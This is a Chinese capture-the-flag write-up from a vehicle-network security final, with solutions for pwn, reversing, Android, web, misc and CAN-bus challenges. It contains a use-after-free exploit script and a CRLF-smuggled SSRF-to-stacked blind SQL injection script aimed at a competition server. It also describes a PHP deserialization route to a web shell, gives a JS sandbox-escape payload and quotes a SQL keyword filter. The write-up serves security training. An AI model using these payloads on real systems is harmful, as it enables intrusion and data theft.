车辆网CVVD决赛 Wp
车辆网CVVD决赛 Wp

Pwn

这里有个bug

flag以“cvvd_”开头。

image-20210525184931016

漏洞点在于选项5中free后没有置空指针导致的uaf。因此先用选项3分配出堆块,然后用5将其free掉,再用选项7重新分配出来修改堆块偏移0x40处的函数指针为0x10DB0,即打印成功提示的字符串函数。最后用选项8调用即可。所以正确选项为cvvd_3578。

还需注意的一点是,动调发现重新分配出来的堆块偏移0x30处才是函数指针。

exp:

from pwn import *
context.log_level='debug'

sh=remote('127.0.0.1',23335)

payload='1'*0x30+p32(0x10DB0)+p32(0x1061C)
sh.sendlineafter('\n',payload)

sh.interactive()

选择

选择

flag{d} 选项直接查出来了。或者直接试。

时间

2019 06
上网查

编号

flag{SAC/TC260}
上网查

还有一个排序的

flag{cefadb} 这个可以直接找到题目 上网查

来排排序吧

参考https://zhuanlan.zhihu.com/p/355414656
flag{bdeahgcf}

RE

easy

魔改了 upx 壳,脱不掉,直接使用附加调试大法
先把程序再linux里跑起来,然后ida 选择remote linux debugger,再选择 attach to process 就能直接 attach 到程序上

然后把用户空间的 segment直接 dump 出来,写到一个新的文件里

def dump_memory():
  import idc
  with open("dump", "wb")as f:
    f.write(idc.get_bytes(0x400000, 0x6c9000))


dump_memory()

然后就能根据引用定位到关键逻辑了

就是个亦或,一行脚本就完事

print(0x5d281f^0xfaded)
# 5408242

tryme

还是 upx 壳,还是脱不掉,还是直接附加调试大法,过程同上,不再赘述了
根据交叉引用找到关键字符串

在 text 段里随便点了点,定位到了关键函数,直接下一堆断点

if条件判断里有反调试,set eip 过掉他,然后进入 check函数

有几条花指令,patch掉,然后就能看伪代码了

全部逻辑如下

#include <string.h>
#include <stdio.h>
int check(const char *input, char *buffer)
{
    signed int i_len;   // [esp+Ch] [ebp-3Ch]
    signed int ipt_idx; // [esp+20h] [ebp-28h]
    int buf_idx;        // [esp+24h] [ebp-24h]
    int index;          // [esp+24h] [ebp-24h]
    int indexa;         // [esp+24h] [ebp-24h]
    int indexb;         // [esp+24h] [ebp-24h]
    int indexc;         // [esp+24h] [ebp-24h]
    int indexd;         // [esp+24h] [ebp-24h]
    char v11;           // [esp+2Bh] [ebp-1Dh]
    char v12;           // [esp+2Bh] [ebp-1Dh]
    char cipher[24];    // [esp+2Ch] [ebp-1Ch] BYREF
    char charset[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
    ipt_idx = 0;
    buf_idx = 0;
    i_len = strlen(input);
    while (ipt_idx < i_len)
    {
        // first
        buffer[buf_idx] = charset[(input[ipt_idx] >> 2) & 0x3F];
        index = buf_idx + 1;
        v11 = (16 * input[ipt_idx]) & 0x30;
        if (ipt_idx + 1 >= i_len)
        {
            buffer[index] = charset[v11];
            indexb = index + 1;
            buffer[indexb] = 61;
            buffer[++indexb] = 61;
            buf_idx = indexb + 1;
            break;
        }
        // second
        buffer[index] = charset[(input[ipt_idx + 1] >> 4) & 0xF | v11];
        indexa = index + 1;
        v12 = (input[ipt_idx + 1] << 2) & 0x3C;
        if (ipt_idx + 2 >= i_len)
        {
            buffer[indexa] = charset[v12];
            indexd = indexa + 1;
            buffer[indexd] = '=';
            buf_idx = indexd + 1;
            break;
        }
        buffer[indexa] = charset[(input[ipt_idx + 2] >> 6) & 3 | v12];
        indexc = indexa + 1;
        buffer[indexc] = charset[input[ipt_idx + 2] & 0x3F];
        buf_idx = indexc + 1;
        ipt_idx += 3;
    };
    buffer[buf_idx] = 0;
    strcpy(cipher, "2XN8ZGFiYW7g3WJ90m==");
    if (strcmp(buffer, cipher) == 0)
    {
        printf("good");
    }
    return 0;
}

发现是个 64 加密,但是码表改了,而且码表只有62位,估计是用不到后头俩字符
随便找个能换表解密的工具,解完得到flag

安卓

APP


发现decode类,使用曲境进行Hook
直接得到结果

你知道这个程序为什么闪退么


下断点在此处,改getProperty返回结果为cvvd,继续运行

此处下三处断点,改返回结果cvvd,跑到结尾
得到flag

先从第一个题目开始吧


base64比较

也可以不从第一个题目开始



经过换表的base64
直接解密

import base64
import string

str1 = "=gO1MUiJSSL1S6iP"
str1 = str1[::-1]

string1 = "vwxrstuopq34567ABCDEFGHIJyz012PQRSTKLMNOZabcdUVWXYefghijklmn89+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

得到flag

Web

Easyphp

考察PHP Session反序列化
做法为:
通过文件上传接口,上传一个Shell到服务器上,并获知其文件名。

通过/main/login,注入恶意数据。其中序列化的类名为刚才的文件名,让
autoload去寻找$class.’.php’。

通过构造autoload路径/main/upload?c=main&a=upload&s=img/upload,告诉autoload应当去哪儿寻找我们的恶意文件,就能Get Shell.

flag在根目录下

SSRFme

local-file协议读源码和相关文件

内网服务在

172.18.0.2:80

提示了源码

<?php
error_reporting(0);
require "config.php";
function waf($string) {
        $pattern_arr = array(
                "/\bunion\b/i",
                "/\bselect\b/i",
                "/\bupdate\b/i",
                "/\bdelete\b/i",
                "/\boutfile\b/i",
                "/\bor\b/i",
                "/\bchar\b/i",
                "/\bconcat\b/i",
                "/\btruncate\b/i",
                "/\bdrop\b/i",            
                "/\binsert\b/i", 
                "/\brevoke\b/i", 
                "/\bgrant\b/i",      
                "/\breplace\b/i", 
                "/\brename\b/i",            
                "/\bdeclare\b/i",
                "/\bsource\b/i",
                "/\bload\b/i",
                "/\bcall\b/i", 
                "/\bexec\b/i",         
                "/\bdelimiter\b/i",
                "/\@(\s*)\beval\b/i",
                "/\beval\b/i",
        );
        $replace_arr = array(
                'union',
                'select',
                '\uff55\uff50\uff44\uff41\uff54\uff45',
                '\uff44\uff45\uff4c\uff45\uff54\uff45',
                '\uff4f\uff55\uff54\uff46\uff49\uff4c\uff45',
                '\uff4f\uff52',
                '\uff43\uff48\uff41\uff52',
                '\uff43\uff4f\uff4e\uff43\uff41\uff54',
                '\uff54\uff52\uff55\uff4e\uff43\uff41\uff54\uff45',
                '\uff44\uff52\uff4f\uff50',            
                '\uff49\uff4e\uff53\uff45\uff52\uff54',
                '\uff52\uff45\uff56\uff4f\uff4b\uff45',
                '\uff47\uff52\uff41\uff4e\uff54',
                '\uff52\uff45\uff50\uff4c\uff41\uff43\uff45',
                '\uff52\uff45\uff4e\uff41\uff4d\uff45',
                '\uff44\uff45\uff43\uff4c\uff41\uff52\uff45',
                '\uff53\uff4f\uff55\uff52\uff43\uff45',
                '\uff4c\uff4f\uff41\uff44',
                'call',                 
                'exec',         
                'delimiter',
                '@eval',
                'eval',
        );
        return is_array($string) ? array_map('waf', $string) : preg_replace($pattern_arr, $replace_arr, $string);
}

if(isset($_COOKIE['pid'])){
    $id = waf(base64_decode($_COOKIE['pid']));
}else{
    die();
}
try {
    $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
    // $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  // 设置这条支持报错注入
    $stmt = $conn->query("SELECT `img` from `pics` where id =$id");
    while ($row=$stmt->fetch(PDO::FETCH_ASSOC)) {
        $img = $row['img'];
        if(is_string($img)){
            echo "<h2>I will tell you what a real hacker is!</h2>\n";
            echo "<img src='./img/${img}' >\n";
        }
     } 
}
catch(PDOException $e)
{
    echo "database error!";
}
?>

直接拼接的pdo,还是可以通过堆叠注入

import requests as r
from base64 import b64encode
from urllib.parse import quote
import time,sys,string

pt = string.printable

url = "http://39.106.148.174:9000/get_content"

def str2hex(str):
    ret =""
    for i in range(0, len(str)):
        ret+=hex(ord(str[i]))
    ret = "0x"+ret.replace("0x","")
    return ret

def exp(payload:str):
    data ={
        "url":f"http://172.18.0.2\r\nCookie: pid={quote(b64encode(payload.encode()))}\r\nA:80/"
    }
    req = r.post(url,data=data)
    return req.text
#poc = "1;set @x=0x73656c65637420736c656570283130293b;prepare a from @x;execute a;"

#\poc = '0;set @x=0x73656c6563742069662828617363696928737562737472282876657273696f6e2829292c312c312929293e302c736c656570283130292c30293b;prepare a from @x;execute a;'

#print(exp(poc))
sql = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"

#sql = "select flag from fl4g"

def efblind(start,end):
    ret=""
    for i in range(start,end):
        l=30
        r=129
        while(l+1<r):
            mid=(l+r)//2
            #q = "select if((ascii(substr((version()),1,1)))>0,sleep(10),0);"
            q = f'select if((ascii(substr(({sql}),{i},1)))>{mid},sleep(10),0);'
            #q = 'select if((ascii(substr(({0}),{1},1)))>{2},sleep(10),0);'.format(sql,i,mid)
            #print(q)
            payload = "0;set @x={0};prepare a from @x;execute a;".format(str2hex(q))
            #print(payload)
            #start = time.time()
            req = exp(payload)
            #print(req)
            #if(time.time()-start>4):
            if "error" in req:
                l=mid
            else :
                r=mid
        if(chr(r) not in pt):
            break
        ret=ret+chr(r)
        sys.stdout.write("[-]Result : -> {0} <-\r".format(ret))
        sys.stdout.flush()
    print(f"[+]Result : -> {ret} <-")



efblind(1,20)

ez_calc

js沙箱逃逸

exp

a=>[...arguments[0]+0]})(b=>{

Misc

多几个bit

题目具体数不记得了,用程序员计算器转换,一个29位,一个11位,多18bit

透过现象看本质

开局一个jpg
直接foremost 得到有flag的jpg

V-scanner

这题题目描述说扫一扫,看V-scanner得知是个扫二维码的想到了 CAN里面传了个PNG
然后利用 表格之中搜索89 50 发现头部
之后发现前面的数据流是 0xF00000000
直接进行手动提取。
最后解hex发现是二维码直接扫码即可

未知消息

这题想多了属于,Audacity打开发现后面长短改10
bin2str

i_love_cvvd

CAN

ECU该怎么回复否定响应码

27安全服务。否定响应格式为7F + 27 + NRC,查ISO14229-1_2013。得NRC码为0x11,不支持服务。

查找DTC

记事本打开搜ID 77E,然后可以看到7BE的响应。

查询UDS标准。

flag{C14687}

设置ECU的ACR


按照如此方法,给出解决方案即为ACR 11001100

设置ECU的AMR

思路同上,屏蔽掉中间一位才能准确接收
AMR 00000100,按16进制提交

CAN总线仲裁


数字最小的优先级越高,直接得出结果

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇